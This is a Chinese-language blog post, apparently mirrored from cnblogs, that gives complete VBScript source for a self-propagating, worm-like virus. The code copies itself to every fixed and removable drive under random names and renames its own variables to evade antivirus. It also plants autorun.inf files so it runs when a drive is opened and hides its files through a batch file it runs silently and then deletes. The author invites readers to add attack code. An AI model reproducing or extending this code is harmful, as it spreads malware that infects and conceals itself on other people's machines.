zoukankan      html  css  js  c++  java
  • vbs之类蠕虫病毒的编写

    文章标题之所以称为类蠕虫,是因为攻击代码 即主题代码还没实现
    sub yitiaolong()                    '定义一条龙过程
    on error resume next           '这里是防止没有发现匹配设备时而报错
    dim drivearray                     '初始化数组变量
    dim drive                              '驱动器句柄变量
    dim strarray                         '初始化字符串数组变量
    dim vbcode                          '用于接收变异的自身代码
    dim file
    dim dirc                               '用于获取随机文件
    set fso=createobject("scripting.filesystemobject")
    set objshell=createobject("wscript.shell")
    drivearray=array("c:","d:","e:","f:","g:","h:")   '定义一个数组,元素即为盘符,可自行增加
    for i=0 to 5                                                        '循环对比磁盘
    set drive=fso.getdrive(drivearray(i))                 '获取驱动器的句柄
    if drive.drivetype=1 or drive.drivetype=2 then    '等于1为可移动磁盘,2为固定硬盘
    strarray=array("vbcode","objshell","fso","filehacker")                                    '定义一个数组啦,用于存放要变化的字符
    vbcode=fso.opentextfile(wscript.scriptfullname,1).readall                               '读取自身代码,并赋值给变量vbcode
    for stri=0 to 3                                       
    vbcode=replace(vbcode,strarray(stri),chr((int)((rnd*22)+97))& chr((int)((rnd*22)+97))&chr((int)((rnd*22)+97))&chr((int) ((rnd*22)+97)))  '用随机生成的字符取代数组离得字符
    next
    set file=fso.createtextfile(drivearray(i)+"\hack.txt")    '如果发现移动硬盘或固定驱动器就往里面创建文件
    file.writeline vbcode                                                    '往hack.txt里写入自身代码
    file.close
    dirc=chr((int)((rnd*22)+97))&chr((int)((rnd*22)+97))&chr((int)((rnd*22)+97))&chr((int)((rnd*22)+97))  '定义一个变量,赋值是随机的
    set file=fso.getfile(drivearray(i)&"\hack.txt")        '得到hack.txt的句柄
    file.copy(drivearray(i)&"\"&dirc&".vbs")               '复制自身为脚本文件,文件名是随机的
    file.delete                                                            '删除hack.txt自身
    set file=fso.createtextfile(drivearray(i)+"\autorun.txt")      '在驱动器根目录里生成文本文件autorun.txt
    file.writeline "[autorun]"                                                     '写入内容啦
    file.writeline "open="&dirc&".vbs"
    file.writeline "shell/open=打开(&0)"
    file.writeline "shell/open/command="&dirc&".vbs"
    file.writeline "shell/oth=资源管理器(&X)"
    file.writeline "shell/oth/command="&dirc&".vbs"
    file.close
    set file=fso.getfile(drivearray(i)+"\autorun.txt")              '这里不用说啦吧,获得句柄
    file.copy(drivearray(i)+"\autorun.inf")                             '复制自身为autorun.inf
    file.delete                                                                        '删除自己
    set file=fso.createtextfile(drivearray(i)+"\hack.txt")       '在创建hack.txt文件
    file.writeline "attrib +s +h +r "&drivearray(i)&"\autorun.inf"
    file.writeline "attrib +s +h +r "&drivearray(i)&"\"&dirc&".vbs"
    file.close
    set file=fso.getfile(drivearray(i)+"\hack.txt")
    file.copy(drivearray(i)+"\hack.bat")
    file.delete
    file=drivearray(i)+"\hack.bat"                    
    objshell.run(file),vbhide                                     '隐藏执行hack.bat文件
    wscript.sleep 1000                                            '延时1秒再执行
    objshell.run("cmd /c del "&file),vbhide               '删除hack.bat
    end if
    next
    set fso=nothing
    set objshell=nothing                                          '主要是释放内存空间,你还可以自行添加
    end sub


    这里已经实现自我复制,变量的自我修改,文件名的不同,autorun文件的自动生成和自我隐藏
    后续的发展就要看读者啦,你的散发思维啦 , 加入攻击代码 ,就会是一个很好的VBS型的蠕虫啦
    在这里先说下抱歉,文章中的自我变异免杀的功能不会很好,只能怪笔者能力有限啦,没能实现脚本的真正的自我变种
    还说几句,在脚本方面,WMI 即windows管理规划,这里有强的功能,但我这方面还涉及很少啦,有机会大家一起交流啦!!!!
  • 相关阅读:
    php基础
    MYSQL 常用函数
    MYSQL 练习题
    MYSQL 查询
    MYSQL:增删改
    隐藏导航
    分层导航
    图片轮播!
    你帅不帅?
    PHP 流程
  • 原文地址:https://www.cnblogs.com/top5/p/1604725.html
Copyright © 2011-2022 走看看